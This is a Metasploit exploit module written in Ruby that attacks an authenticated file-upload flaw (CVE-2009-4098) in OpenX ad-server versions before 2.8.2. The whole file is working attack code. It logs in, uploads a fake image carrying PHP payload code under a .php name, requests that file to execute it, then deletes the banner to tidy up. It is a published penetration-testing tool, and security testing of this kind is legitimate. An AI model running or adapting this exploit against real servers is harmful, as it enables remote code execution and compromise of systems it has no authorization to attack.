##
# $Id: openx_banner_edit.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenX banner-edit.php File Upload PHP Code Execution',
'Description' => %q{
This module exploits a vulnerability in the OpenX advertising software.
In versions prior to version 2.8.2, authenticated users can upload files
with arbitrary extensions to be used as banner creative content. By uploading
a file with a PHP extension, an attacker can execute arbitrary PHP code.
NOTE: The file must also return either "png", "gif", or "jpeg" as its image
type as returned from the PHP getimagesize() function.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2009-4098' ],
[ 'OSVDB', '60499' ],
[ 'BID', '37110' ],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],
[ 'URL', 'https://developer.openx.org/jira/browse/OX-5747' ],
[ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],
# References for making small images:
[ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],
[ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],
[ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],
[ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],
[ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],
[ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => '-find',
},
'Space' => 1024,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 24 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "OpenX directory path", "/openx/"]),
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),
OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),
], self.class)
end
def check
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'www/admin/'
res = send_request_raw(
{
'uri' => uri
}, 25)
if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
ver = $1
vers = ver.split('.').map { |v| v.to_i }
return Exploit::CheckCode::Safe if (vers[0] > 2)
return Exploit::CheckCode::Safe if (vers[1] > 8)
return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
# tiny images :)
tiny_gif = "GIF89a" +
"\x01\x00\x01\x00\x00" +
[1,1,0x80|(2**(2+rand(3)))].pack('nnC') +
"\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +
rand_text_alphanumeric(8) +
[1,1,0].pack('NNC')
tiny_jpeg = "\xff\xd8\xff\xff" +
[0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')
tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]
# Payload
cmd_php = '<?php ' + payload.encoded + '?>'
content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php
# Static files
img_dir = 'images/'
uri_base = ''
uri_base << datastore['URI']
uri_base << '/' if uri_base[-1,1] != '/'
uri_base << 'www/'
# Need to login first :-/
cookie = openx_login(uri_base)
if (not cookie)
raise RuntimeError, 'Unable to login!'
end
print_status("Logged in successfully (cookie: #{cookie})")
# Now, check for an advertiser / campaign
ids = openx_find_campaign(uri_base, cookie)
if (not ids)
# TODO: try to add an advertiser and/or campaign
raise RuntimeError, 'The system has no advertisers or campaigns!'
end
adv_id = ids[0]
camp_id = ids[1]
print_status("Using advertiser #{adv_id} and campaign #{camp_id}")
# Add the banner >:)
ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
if (not ban_id)
raise RuntimeError, 'Unable to upload the banner!'
end
print_status("Successfully uploaded the banner image with id #{ban_id}")
# Find the filename
ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
if (not ban_fname)
raise RuntimeError, 'Unable to find the banner filename!'
end
print_status("Resolved banner id to name: #{ban_fname}")
# Request it to trigger the payload
res = send_request_raw({
'uri' => uri_base + 'images/' + ban_fname + '.php'
})
# Delete the banner :)
if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
print_error("WARNING: Unable to automatically delete the banner :-/")
else
print_status("Successfully deleted banner # #{ban_id}")
end
print_status("You should have a session now.")
handler
end
def openx_login(uri_base)
res = send_request_raw(
{
'uri' => uri_base + 'admin/index.php'
}, 10)
if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)
return nil
end
cookie = $1
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri_base + 'admin/index.php',
'vars_post' =>
{
'oa_cookiecheck' => cookie,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'login' => 'Login'
},
'headers' =>
{
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
},
}, 10)
if (not res or res.code != 302)
return nil
end
# return the cookie
cookie
end
def openx_find_campaign(uri_base, cookie)
res = send_request_raw(
{
'uri' => uri_base + 'admin/advertiser-campaigns.php',
'headers' =>
{
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
},
})
if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)
return nil
end
adv_id = $1.to_i
camp_id = $2.to_i
[ adv_id, camp_id ]
end
def mime_field(boundary, name, data, filename = nil, type = nil)
ret = ''
ret << '--' + boundary + "\r\n"
ret << "Content-Disposition: form-data; name=\"#{name}\""
if (filename)
ret << "; filename=\"#{filename}\""
end
ret << "\r\n"
if (type)
ret << "Content-Type: #{type}\r\n"
end
ret << "\r\n"
ret << data + "\r\n"
ret
end
def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)
# Generate some random strings
boundary = ('-' * 8) + rand_text_alphanumeric(32)
cmdscript = rand_text_alphanumeric(8+rand(8))
# Upload payload (file ending .php)
data = ""
data << mime_field(boundary, "_qf__bannerForm", "")
data << mime_field(boundary, "clientid", adv_id.to_s)
data << mime_field(boundary, "campaignid", camp_id.to_s)
data << mime_field(boundary, "bannerid", "")
data << mime_field(boundary, "type", "web")
data << mime_field(boundary, "status", "")
data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")
data << mime_field(boundary, "replaceimage", "t")
data << mime_field(boundary, "replacealtimage", "t")
data << mime_field(boundary, "description", datastore['DESC'])
data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")
data << mime_field(boundary, "checkswf", "1")
data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")
data << mime_field(boundary, "url", "http://")
data << mime_field(boundary, "target", "")
data << mime_field(boundary, "alt", "")
data << mime_field(boundary, "statustext", "")
data << mime_field(boundary, "bannertext", "")
data << mime_field(boundary, "keyword", "")
data << mime_field(boundary, "weight", "1")
data << mime_field(boundary, "comments", "")
data << mime_field(boundary, "submit", "Save changes")
#data << mime_field(boundary, "", "")
data << '--' + boundary + '--'
res = send_request_raw(
{
'uri' => uri_base + "admin/banner-edit.php",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
}
}, 25)
if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
return nil
end
# Ugh, now we have to get the banner id!
res = send_request_raw(
{
'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}",
'method' => 'GET',
'headers' =>
{
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
}
})
if not (res and res.body.length > 0)
return nil
end
res.body.each_line { |ln|
# make sure the title we used is on this line
regexp = Regexp.escape(datastore['DESC'])
next if not (ln =~ /#{regexp}/)
next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)
# found it! (don't worry about dupes)
return $1.to_i
}
# Didn't find it :-/
nil
end
def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
# Ugh, now we have to get the banner name too!
res = send_request_raw(
{
'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
'method' => 'GET',
'headers' =>
{
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
}
})
if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)
return nil
end
return $1
end
def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)
res = send_request_raw(
{
'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
'method' => 'GET',
'headers' =>
{
'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
}
})
if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
return nil
end
true
end
end
